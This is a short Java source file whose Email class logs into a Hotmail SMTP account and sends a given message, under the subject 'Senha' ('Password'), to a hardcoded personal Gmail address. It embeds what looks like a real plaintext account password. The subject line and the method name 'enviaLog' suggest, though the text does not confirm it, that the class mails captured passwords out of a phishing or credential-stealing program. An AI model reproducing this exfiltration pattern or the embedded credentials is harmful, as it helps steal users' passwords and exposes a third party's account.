package face;

import java.util.Date;
import java.util.Properties;
import javax.mail.*;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;

/**
 *
 * @author jean
 */
public class Email {
    
    private String emitente;
    private String senha;
    private String destinatario;
    private Session session;
    
    public Email() {
        emitente = "envialog@hotmail.com";
        senha = "senh@sfbk01";
        destinatario = "jeanmalvessi@gmail.com";
    }
    
    public void enviaLog(String msg) throws Exception {
        
        Properties prop = new Properties();
        
        prop.setProperty("mail.pop3.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
        prop.setProperty("mail.smtp.starttls.enable", "true");
        //prop.setProperty("mail.smtp.socketFactory.fallback", "false");
        //prop.setProperty("mail.smtp.socketFactory.port", "25"); 
        prop.setProperty("mail.transport.protocol", "smtp");
        prop.setProperty("mail.smtp.host", "smtp.live.com");
        prop.setProperty("mail.smtp.port", "587");
        prop.setProperty("mail.smtp.auth", "TRUE");
        
        session = Session.getInstance(prop, new Authenticator() {

            //Retorna senha e login
            @Override
            protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(emitente, senha);
            }
        });
        
        MimeMessage mmsg = new MimeMessage(session);
        
        mmsg.setFrom(new InternetAddress(emitente));
        mmsg.setRecipient(Message.RecipientType.TO, new InternetAddress(destinatario));
        mmsg.setSentDate(new Date());
        mmsg.setSubject("Senha");
        
        BodyPart bp = new MimeBodyPart();
        bp.setText(msg);

        //Adiciona no email
        Multipart mp = new MimeMultipart();
        mp.addBodyPart(bp, 0);
        
        mmsg.setContent(mp);
        
        Transport.send(mmsg);
    }
}